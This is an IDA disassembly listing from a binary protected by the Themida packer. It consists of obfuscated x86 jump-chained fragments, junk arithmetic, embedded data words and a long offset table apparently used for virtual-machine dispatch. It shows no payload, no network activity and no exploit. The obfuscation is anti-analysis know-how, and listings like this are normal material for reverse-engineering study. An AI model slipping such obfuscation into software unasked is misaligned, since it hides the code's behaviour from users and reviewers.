push dword ptr [esp]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_4FB44E
; ---------------------------------------------------------------------------
db 57h
dd 7E4EE954h, 77FFFFFFh, 2434FF3Ch, 0C8E95258h, 53FFFFCEh
dd 0FF7BDAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5017C5: ; CODE XREF: Themida_:004FEAECj
add esi, 0EF7BA8B1h
jmp loc_4F7AC8
; ---------------------------------------------------------------------------
dd 4DA0CF81h, 0C7812084h, 1519062h, 4A34052Dh, 5BE2D49h
dd 0F8015DB8h, 0B805BE05h, 56BA525Dh, 8165052Bh, 5B3BE3EAh
dd 0BA7FE938h, 0BA52FFFFh, 5DE755B5h, 6110F281h, 41E964C6h
dd 0F6FFFFEAh, 3CE980D1h, 5250C180h, 0E2C0BFB2h, 80DAF604h
dd 0E1E9C8C2h, 80FFFF8Bh, 0C32844EBh, 44B55166h, 6EE9EB00h
dd 68FFFF88h, 6D396146h, 8BCE8959h, 0EC83240Ch, 24048904h
dd 0FFDC9BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50184D: ; CODE XREF: Themida_:004FDCD3j
push esp
pop eax
add eax, 4
push edx
jmp loc_4F99A7
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 241CD366h, 4C2BE99Ch, 0ABBBFFFFh, 81351B00h
dd 825DD2EBh, 9587E956h, 0C483FFFFh, 2BEA8104h, 0E9627576h
dd 0FFFF8C4Eh
; ---------------------------------------------------------------------------
loc_501888: ; CODE XREF: Themida_:004FF337j
xchg edx, ecx
push dword ptr [esp]
pop edx
add esp, 4
shl ecx, 4
neg ecx
dec ecx
add ecx, 740C6DE2h
xor ecx, 5160536Ah
mov esi, ecx
pop ecx
inc esi
add esi, 236B3BBCh
sub esi, 0C6177B9h
xor esi, 7DAD02ABh
jmp loc_4FEA03
; ---------------------------------------------------------------------------
aY7mO db '%',27h,'Y7m%%O ',0
dd 0FF4DDDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5018CD: ; CODE XREF: Themida_:00501065j
mov ebp, 2000h
jmp loc_4FE575
; ---------------------------------------------------------------------------
db 81h
dd 9D9B3AF1h, 0E9CB019Fh, 0FFFFD6AFh
; ---------------------------------------------------------------------------
loc_5018E4: ; CODE XREF: Themida_:004FA876j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_4F5D12
; ---------------------------------------------------------------------------
db 2Dh, 5Dh, 2
dd 0D8011455h, 0FFF86DE9h, 4C483FFh, 161DBA52h, 0EAC13900h
dd 0C8EA8102h, 4AA40E04h, 0DAF7D2F7h, 0FFCEB2E9h, 2414F6FFh
dd 0E0C05866h, 0B5516604h, 0E9E820F5h, 0FFFF8157h, 74FF505Bh
dd 0CBE90424h, 89FFFFD6h, 0A3682434h, 0E9000065h, 0FFFF7BDAh
dd 0FF43C1E9h, 81E689FFh, 4C6h, 4C68300h, 2474FF56h, 48F5E04h
dd 12E95C24h, 89FFFF92h, 0E0E9241Ch
db 4Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_501973: ; CODE XREF: Themida_:004F7F90j
mov ah, 83h
mov cl, ah
pop eax
mov dl, cl
pop ecx
jmp loc_4FD1A0
; ---------------------------------------------------------------------------
dd 5C243C87h, 99E95052h
db 84h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50198B: ; CODE XREF: Themida_:004FDA86j
mov [esp], ebp
pop ecx
mov ebx, ecx
pop ecx
pop ebp
jmp loc_500B27
; ---------------------------------------------------------------------------
dd 4EC8150h, 89000000h, 4AE92424h, 81FFFFD1h, 4C1h, 4E98100h
dd 87000000h, 895C240Ch, 5AB22414h, 8007EAC0h, 0CAFE3AF2h
dd 0B551C2FEh, 59EA209Dh, 0EA80E2D0h, 547F6853h, 4890000h
dd 65D1E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5019DE: ; CODE XREF: Themida_:00500619j
mov eax, 3640264Bh
add eax, 8464838Ch
sub edi, eax
pop eax
add ebp, edi
pop edi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
push eax
mov eax, 4
mov ecx, eax
pop eax
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
push edx
push 3BE6h
mov [esp], eax
jmp loc_4F6BC4
; ---------------------------------------------------------------------------
loc_501A1F: ; CODE XREF: Themida_:004F9574j
xchg ecx, [esp]
pop esp
mov [esp], edx
mov edx, 552F6306h
xor eax, edx
mov edx, [esp]
add esp, 4
jmp loc_500FE3
; ---------------------------------------------------------------------------
loc_501A3B: ; CODE XREF: Themida_:004FBEF0j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add edi, 141F55B9h
push 0
sub [esp], edi
pop edi
shr edi, 7
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
mov esi, 194E948h
xor edi, esi
push dword ptr [esp]
jmp loc_4FCF90
; ---------------------------------------------------------------------------
dd 507CBA52h, 5AE925C4h, 81FFFFF4h, 0EA12A8C2h, 78EA8144h
dd 15EB215h, 78C281C2h, 0E95EB215h, 0FFFFE68Ch, 81242C8Bh
dd 4C4h, 241C8B00h, 0FFB907E9h, 73C381FFh, 813C322Ch, 7954B7CBh
dd 0E3814B2Ch, 131022EEh, 22EAF381h, 0D8011010h, 4E8835Bh
dd 0FF58EDE9h, 24248BFFh, 89243C89h, 145668E7h, 4890000h
dd 4B824h, 0C7010000h, 0E7CCE958h, 0B850FFFFh, 4F4A3129h
dd 0FFFDB9E9h, 80C328FFh, 0B60F96EBh, 8734FFC0h, 0FF8D9AE9h
dd 305A66FFh, 241C8BDAh, 81E68956h, 4C6h, 4C68300h, 5C243487h
dd 0CBE9D028h, 53FFFFB8h, 0FFA212E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_501B39: ; CODE XREF: Themida_:004F5D54j
and edi, 784B6B32h
not edi
push eax
push ecx
mov ecx, 36937007h
jmp loc_4FEA7B
; ---------------------------------------------------------------------------
loc_501B4D: ; CODE XREF: Themida_:004FEEDAj
pop ecx
add edi, 4
jmp loc_4FE88D
; ---------------------------------------------------------------------------
dw 0E9ADh
dd 0FFFF45F3h
; ---------------------------------------------------------------------------
loc_501B5C: ; CODE XREF: Themida_:0050074Bj
xor eax, [esp]
pop esp
mov [esp], ecx
jmp loc_50276A
; ---------------------------------------------------------------------------
dd 0A3E99C50h, 1FFFF41h, 57E2E9E8h, 0E831FFFFh, 0FFC296E9h
dd 0DFB652FFh, 4B7E9h
db 0
; ---------------------------------------------------------------------------
loc_501B85: ; CODE XREF: Themida_:004FE4BCj
neg edx
push ecx
mov ecx, 9CBAB84Eh
jmp loc_500157
; ---------------------------------------------------------------------------
dw 555Eh
dd 5629BB53h, 0EB8314EBh, 0F7EBD101h, 798EE9D3h, 0F581FFFFh
dd 0EBB3D5h, 535DEB01h, 42474FFh, 0E9241C8Bh, 0FFFF69F5h
dd 57546857h, 4F5F0980h, 0E904EC83h, 0FFFF9037h
; ---------------------------------------------------------------------------
loc_501BCC: ; CODE XREF: Themida_:004F7793j
add ecx, esi
pop esi
and edi, ecx
jmp loc_4F7B40
; ---------------------------------------------------------------------------
dw 0C89h
dd 5244B124h, 0F1001EB6h, 0FFEE1EE9h, 0BF575EFFh, 75577D15h
dd 9E9FD01h, 0BDFFFF8Ch, 17EA586Ah, 465DEE21h, 5825F681h
dd 0F7011520h, 0FFEEB2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_501C09: ; CODE XREF: Themida_:004FC1D1j
mov edx, [esp]
add esp, 4
push esi
mov esi, 4
add ecx, esi
pop esi
xchg ecx, [esp]
jmp loc_4F7B5D
; ---------------------------------------------------------------------------
db 59h
dd 323BB53h, 0C14B4B8Bh, 0E38102E3h, 74EA62B0h, 8108E3C1h
dd 3B6D04CBh, 0A8EB8114h, 0E9BE53FEh, 0FFFFC7E9h, 0F088FE88h
dd 0A250E95Ah, 0F521FFFFh, 0FFF783E9h, 55854FFh, 4, 576B68h
dd 612FE900h, 875BFFFFh, 835C2414h, 48904ECh, 0BDD5E924h
dd 0EC83FFFFh, 24048904h, 0FFE6A9E9h, 24248BFFh, 0E9028864h
dd 0FFFF4082h, 242C895Ch, 16242C81h, 5A55C661h, 6116C281h
dd 95D55C6h, 693DE9C9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_501CAA: ; CODE XREF: Themida_:004FFB45j
pop dword ptr [esp]
pop esp
push dword ptr [esp]
jmp loc_502431
; ---------------------------------------------------------------------------
dw 34FFh
dd 0E9515B24h, 0FFFFD0BAh
; ---------------------------------------------------------------------------
loc_501CC0: ; CODE XREF: Themida_:004FA245j
mov edx, 0AC00F4h
mov edi, 0FF547F0Ch
add edi, 1ABF0189h
add edi, edx
sub esp, 4
mov [esp], ebx
jmp loc_4FB4A0
; ---------------------------------------------------------------------------
dd 402CE95Ch, 68ACFFFFh, 3C1Fh, 52240C89h, 0C1B5FAB6h
dd 148BF528h, 4C48124h, 0E9000000h, 0FFFF801Dh, 0D1F6F988h
dd 5966CF88h, 0FF9458E9h, 0D8EE81FFh, 8159DE0Ch, 790467C6h
dd 24148B50h, 4C481h, 6C680000h, 8900004Bh, 0E9562414h
dd 0FFFFA8F6h, 4560EB81h, 90E92A01h, 51FFFFD7h, 0FFFFFFB9h
dd 59CD29FFh, 0FFFFC581h, 0F581FFFFh, 76E65C7Dh, 295DEB89h
dd 5522E9D8h, 0D5F6FFFFh, 0FF62E5E9h, 0EF8159FFh, 336D138Fh
dd 0DEE9F829h, 87FFFF80h, 665C2414h, 281DB050h, 805866C3h
dd 51E910EBh, 5CFFFF61h, 0FFBADFE9h, 8BF901FFh, 0C481243Ch
dd 4, 2D59CA29h, 7AE1762Ah, 0B951D001h, 5DFF13ECh, 623EC181h
dd 0C8011CE2h, 8514E959h, 2C81FFFFh, 0F6474124h, 0C7815F0Dh
dd 0DF64741h, 8BF8295Bh, 0C481243Ch, 4, 797BBE56h, 0E6C125C8h
dd 6FE68104h, 81183F75h, 436133C6h, 9AEB81EBh, 294DE61Fh
dd 9AC381F3h, 5E4DE61Fh, 0FF637FE9h, 79DA68FFh, 4890000h
dd 3FC7E924h, 0C180FFFFh, 80D90058h, 0C05B58E9h, 0EC8302E1h
dd 14896602h, 8097B624h, 0F100E4E9h, 64668h, 24048900h
dd 0E100E4B4h, 148B6658h, 2C48324h, 304CE980h, 240C8BC8h
dd 4C481h, 0C3800000h, 0A6B05064h, 0E1E9C300h
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_501E4F: ; CODE XREF: Themida_:004F5F60j
xor eax, ecx
push 48B9h
mov [esp], eax
xor [esp], edx
xor edx, [esp]
xor [esp], edx
jmp loc_4FF6EB
; ---------------------------------------------------------------------------
db 66h
dd 9A2BE950h, 0B951FFFFh, 1D375D6Eh, 4D0C181h, 0CE01068Fh
dd 0E9F00159h, 0FFFFE9DDh
; ---------------------------------------------------------------------------
loc_501E84: ; CODE XREF: Themida_:004F9016j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ebp
push esi
push ebp
mov ebp, 644C6EEBh
jmp loc_4FB503
; ---------------------------------------------------------------------------
dd 83242489h, 8B042404h, 0C481240Ch, 4, 4C181h, 0C1810000h
dd 4, 0FFAEC9E9h, 2D5D5FFFh, 3E3158BBh, 0FFAFD2E9h, 0E68956FFh
dd 4C681h, 0C6830000h, 24348704h, 5A7D255Ch, 302D0FBEh
dd 8103260Ah, 0AC396FEBh, 0F1B3E942h, 7E68FFFFh, 8900004Eh
dd 0A0E92404h, 0FFFFFFC8h, 81592434h, 4C4h, 0C0DFF600h
dd 0CF8008E7h, 0E9CFFE70h, 0FFFFAEE8h, 81DEF75Fh, 0E10D9EF6h
dd 4EC8379h, 0E9240C89h, 0FFFF42F4h
; ---------------------------------------------------------------------------
loc_501F28: ; CODE XREF: Themida_:004FF09Bj
mov [esp], ecx
mov ecx, esp
push edx
jmp loc_4FC1CA
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 61BBh, 54242C89h, 4C5815Dh, 53000000h, 544068h
dd 241C8900h, 0CDE9E389h
db 43h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_501F57: ; CODE XREF: Themida_:004F70AFj
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_4FE9C5
; ---------------------------------------------------------------------------
db 89h
dd 0BE5659CFh, 135A17DBh, 0CC5E681h, 0EC81425Dh, 4, 0E9241489h
dd 0FFFF7ADFh
; ---------------------------------------------------------------------------
loc_501F88: ; CODE XREF: Themida_:004F9E82j
push 1F5Fh
mov [esp], edx
push esi
push 538E2D59h
jmp loc_4F8ACE
; ---------------------------------------------------------------------------
loc_501F9B: ; CODE XREF: Themida_:004F6FEBj
sub eax, 0E6D8479Fh
add ebp, eax
pop eax
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_4F5D12
; ---------------------------------------------------------------------------
db 0BDh, 67h, 32h
dd 814D2642h, 2D5D76F5h, 5DE9093Fh, 7FFAF181h, 0CB017F7Fh
dd 5F6F6859h, 2C890000h, 0A6685024h, 585F9D20h, 0FF5EC7E9h
dd 4EC83FFh, 0FF5380E9h, 140005FFh, 0E5E934B2h, 66FFFF64h
dd 0E924048Bh, 0FFFF5A4Bh, 5CE3F381h, 0BF570B9Fh, 57392B88h
dd 277EC781h, 0FB090F0Fh, 6EBC15Fh, 14C38143h, 1FE64DAh
dd 60E95BDEh, 68FFFFD6h, 5795h, 0E9241C89h, 0FFFF9622h
dd 54240489h, 0E92434FFh, 0FFFFB898h, 8106EEC0h, 4ECh
dd 567AE900h, 5756FFFFh, 0A55F6768h, 0C7815F41h, 662F7361h
dd 0A13DF781h, 0FE89D896h, 6DF7E95Fh, 48FFFFFh, 24248B24h
dd 0FF72A4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_502071: ; CODE XREF: Themida_:004FE417j
add esp, 4
mov eax, edi
jmp loc_4FE488
; ---------------------------------------------------------------------------
db 81h
dd 5F3E1F7h, 5FF929A8h, 0FFF419E9h, 1C4F21FFh, 81240C8Bh
dd 4C4h, 3C78E900h, 805AFFFFh, 0C38078CBh, 20C1683Ch, 14890000h
dd 0C5B75324h, 0EF80CFFEh, 6F2668EFh, 0BAE90000h, 59FFFFBCh
dd 3302C283h, 14312414h, 24143324h, 0D224248Bh, 0E99C242Ch
dd 0FFFF3C3Eh
; ---------------------------------------------------------------------------
loc_5020D4: ; CODE XREF: Themida_:004FED1Bj
mov esp, [esp]
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dd 4C1835Fh, 31240C33h, 0C33240Ch, 591DE924h, 0EEC1FFFFh
dd 0DFF68108h, 0E9783A21h, 0FFFFCB1Dh, 8B241C87h, 0F7662424h
dd 4EC81E1h, 89000000h, 0E954240Ch, 0FFFF63EFh, 83240C8Bh
dd 5FE904C4h, 81FFFFB3h, 460B19E9h, 6992053Ch, 0C8297A41h
dd 4169922Dh, 26E9597Ah, 51FFFF6Ah, 0FF4914E9h, 5D5455FFh
dd 0FFF93FE9h, 81E789FFh, 4C7h, 4EF8300h, 5C243C87h, 0B8240489h
dd 30h, 5C246853h, 815B711Fh, 976616F3h, 0BFEB8136h, 4B6C0639h
dd 0C92FEB81h, 0C8E9A6ADh, 0BAFFFF69h, 2C6818B3h, 0E18DC281h
dd 0D331D319h, 5BD9015Ah, 0C76FE951h, 5558FFFFh, 4F9268h
dd 0B246800h, 24890000h, 24048124h, 4, 0FF786BE9h, 0F4B2FFh
dd 0CB005AD1h, 0ABC38059h, 0FFBD28E9h, 0DE957FFh
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5021C3: ; CODE XREF: Themida_:004F865Bj
mov ebp, 4
jmp loc_4FFBEC
; ---------------------------------------------------------------------------
db 81h, 0CEh, 0F6h
dd 0E968686Fh, 0FFFF3C42h, 8B2434FFh, 0FE92404h, 66FFFF70h
dd 0E9240C8Bh, 0FFFF5B0Fh, 0F65EEE80h, 0ED01E9DEh, 0BABBFFFFh
dd 816EB21Eh, 32EC1CBh, 81D3F761h, 7C77BACBh, 43EB8156h
dd 310FF0B2h, 2434FFDDh, 4C4835Bh, 0FF4BA4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50221D: ; CODE XREF: Themida_:004F935Cj
pop edi
jmp loc_4FCBC4
; ---------------------------------------------------------------------------
db 89h
dd 37E95FFAh
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50222B: ; CODE XREF: Themida_:00500C1Ej
mov ebx, 369F6021h
jmp loc_4F784E
; ---------------------------------------------------------------------------
db 58h, 0E9h, 51h
dd 81FFFF89h, 0E53D20C7h, 0B620E95Dh, 0FF5FFFFFh, 835B2434h
dd 316604C4h, 348B66F0h, 2C48324h, 0BE665666h, 0A9E9276Dh
dd 87FFFFE9h, 665C243Ch, 0E9240489h, 0FFFF3AA2h, 0BB241C89h
dd 236B008Bh, 63F6EB81h, 0F4E93AECh, 0B9FFFFE4h, 2, 21E9CE01h
dd 66FFFF7Ch, 68240C8Bh, 39C6h, 0E9241C89h, 0FFFF7848h
dd 0EA81D2F7h, 66EF8A53h, 0FFE897E9h, 0F28158FFh, 4FCD1A34h
dd 7789EE81h, 9AE934F0h, 66FFFF79h, 3166EE31h, 88E92434h
db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5022CB: ; CODE XREF: Themida_:004FA9A8j
pop esp
jmp loc_4F5D12
; ---------------------------------------------------------------------------
db 81h, 0F5h, 2Ah
dd 816C7050h, 70C480C5h, 8BE901F3h, 0C483242Ch, 4BB5304h
dd 81000000h, 0C26370C1h, 694FE934h, 0EC81FFFFh, 4, 0B3241C89h
dd 0BFF38080h, 0EBD0CBFEh, 5012EB80h, 5226B551h, 0C9B095B2h
dd 285AD000h, 0EB8059E8h, 66C328F0h, 0E9F0B050h, 0FFFFD59Ch
dd 0EA81C201h, 6F3C2E53h, 0FF9179E9h, 4C481FFh, 81000000h
dd 4C1h, 240C8700h, 0FF24248Bh, 555A2434h, 8154E954h, 0C681FFFFh
dd 4, 8704EE83h, 895C2434h, 4BF243Ch, 0E9000000h, 0FFFF7A11h
dd 240C8B66h, 4DA668h, 24148900h, 0B951E289h, 249C3D6Bh
dd 3D6FF181h, 0C5E9249Ch
db 47h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50238B: ; CODE XREF: Themida_:0050113Cj
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aARw db 'aÃRW¿<',0
db 2 dup(0), 89h
dd 0B9515FFAh, 0D1B0F42h, 6DEEA81h, 0CA29173Dh, 6DEC281h
dd 0C8B173Dh, 4C48324h, 7C68FA01h, 8900004Fh, 81E9243Ch
dd 5AFFFF75h, 0FFF530E9h, 3944E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5023CE: ; CODE XREF: Themida_:004F8A6Dj
mov [esp], edi
push ebx
mov ebx, 4
mov edi, ebx
pop ebx
add edx, edi
mov edi, [esp]
add esp, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_500006
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 8B54241Ch, 0C483241Ch, 44E8E904h, 0D801FFFFh
dd 0FFF51FE9h, 1C77FFFFh, 6659669Dh, 9C2414D3h, 0FF38EDE9h
dd 80C1FEFFh, 0CF20CBF1h, 0FFFACAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_502431: ; CODE XREF: Themida_:00501CB1j
mov eax, [esp]
push edi
mov edi, esp
push 1C0Bh
mov [esp], ecx
mov ecx, 0C268Dh
sub ecx, 1
dec ecx
or ecx, 224F3F9Eh
add ecx, 1B4C15CFh
jmp loc_4FAB15
; ---------------------------------------------------------------------------
dd 3A77BE56h, 81464692h, 19583EF6h, 28F6810Ch, 0C13C607Ah
dd 0F68104E6h, 1BD74D8Eh, 219E9h, 48B6600h, 1A06824h, 0DE90000h
dd 81FFFFF1h, 0D41FD6F3h, 0C3814306h, 0F1D1DA9Bh, 0FF566AE9h
dd 0BB535EFFh, 5235637Ah, 0C1EDBE56h, 0F33129F5h, 5BDF895Eh
dd 815EF729h, 0AA04246Ch, 116BA73h, 8104247Ch, 0AA042444h
dd 8B16BA73h, 0C483243Ch, 0C6ECE904h, 8356FFFFh, 8BFF2404h
dd 0C4812434h, 4, 0FFB296E9h, 2C283FFh, 2474FF52h, 1AE95A04h
dd 0FFFFFF89h, 8B042474h, 8951243Ch, 0E063E9E1h, 8B66FFFFh
dd 4B682404h, 89000028h, 0E189240Ch, 4EC81h, 14890000h
dd 4BA24h, 0D1010000h, 4EC835Ah, 68242C89h, 2, 81242C8Bh
dd 4C4h, 8BE90100h, 0C483242Ch, 74FF5104h, 0E9590424h
dd 0FFFF7564h, 0D0CCE950h, 3489FFFFh, 4BE24h, 0F3010000h
dd 4EC815Eh, 89000000h, 2BF243Ch, 1000000h, 1C875FFBh
dd 82E95C24h
db 81h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_502573: ; CODE XREF: Themida_:004FFF27j
xor eax, edi
pop edi
and ecx, eax
pop eax
jmp loc_4FA225
; ---------------------------------------------------------------------------
loc_50257E: ; CODE XREF: Themida_:004F9064j
xor [esp], ebx
xor ebx, [esp]
jmp loc_4FA74C
; ---------------------------------------------------------------------------
loc_502589: ; CODE XREF: Themida_:004FC30Cj
add edi, 2B8434F9h
not edi
jmp loc_4F942D
; ---------------------------------------------------------------------------
loc_502596: ; CODE XREF: Themida_:004F98E6j
mov edi, 0BA90E05h
add [esp+4], edi
pop edi
push dword ptr [esp]
pop ecx
push ecx
push esp
jmp loc_4FAF9C
; ---------------------------------------------------------------------------
loc_5025AB: ; CODE XREF: Themida_:004FD4F7j
mov ebp, ecx
jmp loc_5010F9
; ---------------------------------------------------------------------------
dw 0EE81h
dd 57E529ACh, 3AE9C601h, 0BFFFFF6Eh, 167356D6h, 0FF5FFB01h
dd 815A2434h, 4C4h, 241C8700h, 9CC1385Ch, 0FF3735E9h, 148B66FFh
dd 2B986824h, 34890000h, 8DE95424h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5025EF: ; CODE XREF: Themida_:004FA6F0j
mov ecx, 214711E7h
sub ebp, ecx
pop ecx
jmp loc_4FF56F
; ---------------------------------------------------------------------------
loc_5025FC: ; CODE XREF: Themida_:004FDA2Fj
mov [edx], ecx
mov edx, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
jmp loc_4F5D12
; ---------------------------------------------------------------------------
db 1
dd 19E958C7h, 5DFFFFA3h, 77D9BA52h, 3AE90C9Fh, 68FFFF69h
dd 2409h, 0E9240489h, 0FFFF36E2h, 9B3FE94Fh, 405FFFFh
dd 0E9000000h, 0FFFF5FCCh, 384F81BFh, 0D1BBE971h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50264A: ; CODE XREF: Themida_:00500018j
push ebp
push 1DD971E5h
jmp loc_4F82E9
; ---------------------------------------------------------------------------
align 2
dw 59C8h
dd 0E92B2C5Bh, 0FFFFCDE0h, 0C2242C81h, 810BEA7Dh, 4ECh
dd 242C8900h, 0B04316BDh, 0F5814D54h, 5932647Ah, 2D22F581h
dd 6C010B8Bh, 0E95D0424h, 0FFFF3686h
; ---------------------------------------------------------------------------
loc_50268C: ; CODE XREF: Themida_:004FBB15j
mov [esp], edx
mov edx, esp
jmp loc_501324
; ---------------------------------------------------------------------------
dw 0F101h
dd 0FFA20BE9h, 4C483FFh, 0E904C483h, 0FFFF8B03h, 1A89C389h
dd 24148B5Bh, 4C481h, 34FF0000h, 24048B24h, 6804C483h
dd 76FDh, 0E9243C89h, 0FFFFEA26h, 8B242C87h, 0BBE92424h
dd 0F7FFFFE0h, 63B568E1h, 14890000h, 0F482E924h, 0C368FFFFh
dd 8900007Eh, 0E6E9240Ch
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5026F3: ; CODE XREF: Themida_:004FBD9Dj
add esp, 4
shr eax, 0Eh
xor eax, ecx
push 4AD2h
mov [esp], eax
jmp loc_4FEFE3
; ---------------------------------------------------------------------------
db 1
dd 14875DEAh, 24248B24h, 4B30F66h, 0F3E99C24h
db 35h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50271F: ; CODE XREF: Themida_:004F92ECj
and edi, 54A97DEFh
jmp loc_500612
; ---------------------------------------------------------------------------
loc_50272A: ; CODE XREF: Themida_:004F833Fj
mov ebp, esp
add ebp, 4
push 7471h
mov [esp], edx
mov edx, 4
add ebp, 5E243E90h
sub ebp, 72A22A01h
add ebp, 2B8B246Dh
add ebp, edx
sub ebp, 2B8B246Dh
add ebp, 72A22A01h
jmp loc_4FD2C3
; ---------------------------------------------------------------------------
dd 0EF3EE955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50276A: ; CODE XREF: Themida_:00501B63j
jmp loc_4F5D12
; ---------------------------------------------------------------------------
db 0ACh
dd 92E9D830h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_502777: ; CODE XREF: Themida_:004FE0C8j
pop edi
push eax
mov eax, 0DE74371Ch
add ebx, eax
pop eax
and ebp, ebx
pop ebx
jmp loc_4FD941
; ---------------------------------------------------------------------------
db 81h, 0CAh, 54h
dd 0F763785Ah, 0E5BE56DAh, 811A145Fh, 9A684CE6h, 0E94E4E2Bh
dd 0FFFFEA77h, 55569Eh, 0AEFEh, 7FFE0304h, 7E449BC8h, 0FA6CDCB7h
dd 9B69DDh, 554A5Ah, 203h, 2, 1, 5, 0FA6CDCB7h, 5 dup(0)
dd offset byte_5041AF
dd offset byte_50F459
dd offset off_50DB5D
dd offset aN1Hn9 ; "1Øh9"
dd offset word_50503E
dd offset byte_50C209
dd offset word_50E132
dd offset word_50DC42
dd offset word_50A55E
dd offset byte_5159D5
dd offset word_50A822
dd offset dword_5158BC
dd offset dword_50780C
dd offset dword_510C98
dd offset dword_513700
dd offset byte_506D93
dd offset dword_516574
dd offset byte_50A973
dd offset byte_51202B
dd offset byte_5158D9
dd offset dword_502BA8
dd offset dword_5071C0
dd offset dword_50CA14
dd offset dword_50F0F4
dd offset dword_509388
dd offset byte_50EEDF
dd offset byte_51114D
dd offset byte_50F27B
dd offset dword_507028
dd offset byte_50F08D
dd offset word_50C6E6
dd offset byte_506D77
dd offset word_51764E
dd offset word_50A262
dd offset byte_510927
dd offset byte_502B1D
dd offset word_5047A2
dd offset byte_516549
dd offset byte_505CC9
dd offset word_50ECEA
dd offset word_50713E
dd offset byte_5041DF
dd offset byte_50A189
dd offset word_5151C2
dd offset aM0SfqYiqsW ; "¬0ØSfQµYˆïéÃw"
dd offset byte_503683
dd offset byte_5077B1
dd offset word_514272
dd offset byte_50CE8B
dd offset dword_5159B0
dd offset byte_5169D3
dd offset byte_514AB5
dd offset byte_51126D
dd offset dword_50F8D8
dd offset byte_5047DB
dd offset byte_5045BF
dd offset aMsx ; "Žx("
dd offset byte_515309
dd offset word_51418A
dd offset dword_5056D0
dd offset byte_51388F
dd offset byte_50C983
dd offset dword_50577C
dd offset dword_50E874
dd offset dword_50E8AC
dd offset byte_5169BD
dd offset dword_513DE8
dd offset aNsgi ; "ég‰"
dd offset dword_50E08C
dd offset word_50BC46
dd offset byte_50AFF9
dd offset byte_50CECB
dd offset byte_50A475
dd offset word_5108B6
dd offset word_50C49A
dd offset word_50389E
dd offset byte_511EBB
dd offset byte_51555D
dd offset word_50478E
dd offset byte_5076C3
dd offset word_50DAF2
dd offset byte_50687B
dd offset byte_509121
dd offset word_503CFA
dd offset byte_51563D
dd offset dword_5155F0
dd offset aMrPTFshT ; "¬R²Àâ\bfShËT"
dd offset dword_50645C
dd offset byte_517BCF
dd offset byte_50474F
dd offset dword_516938
dd offset byte_50B1A7
dd offset aNQBS ; "-Ÿ{%éµ/"
dd offset byte_50BB5D
dd offset word_5030A2
dd offset word_514802
dd offset aNsU ; "é\au"
dd offset byte_50AC61
dd offset dword_5114B4
dd offset word_510032
dd offset byte_50B02B
dd offset word_5155A2
dd offset byte_508489
dd offset byte_510C85
dd offset aMsA ; "Ž;A"
dd offset byte_5105BF
dd offset dword_517D54
dd offset aNFgojvspi ; "-”GŽJVéP¨"
dd offset word_509412
dd offset byte_5131A3
dd offset dword_503D20
dd offset dword_507E04
dd offset byte_5084FF
dd offset byte_50424B
dd offset word_5037AE
dd offset dword_50DA14
dd offset dword_503D14
dd offset byte_51734B
dd offset aMhso ; "¬háO"
dd offset byte_50E409
dd offset word_502B16
dd offset word_512F9A
dd offset byte_508BC3
dd offset word_506B56
dd offset dword_507F50
dd offset byte_50F81D
dd offset byte_509493
dd offset dword_5153C4
dd offset word_5155CE
dd offset dword_504F6C
dd offset dword_5127A8
dd offset byte_50C427
dd offset dword_504CCC
dd offset byte_50872F
dd offset byte_512E09
dd offset word_50E342
dd offset word_50F9F6
dd offset dword_511904
dd offset byte_50F9FF
dd offset byte_5123E9
dd offset byte_503767
dd offset dword_516090
dd offset byte_510585
dd offset byte_505323
dd offset aMhA ; "¬hµA"
dd offset byte_50518B
dd offset dword_506B94
dd offset aMps ; "¬Pé²;"
dd offset dword_503A58
dd offset dword_50F694
dd offset byte_50C2B7
dd offset word_50974E
dd offset byte_505F79
dd offset word_50372E
dd offset dword_508344
dd offset word_50D0A2
dd offset byte_50A6DF
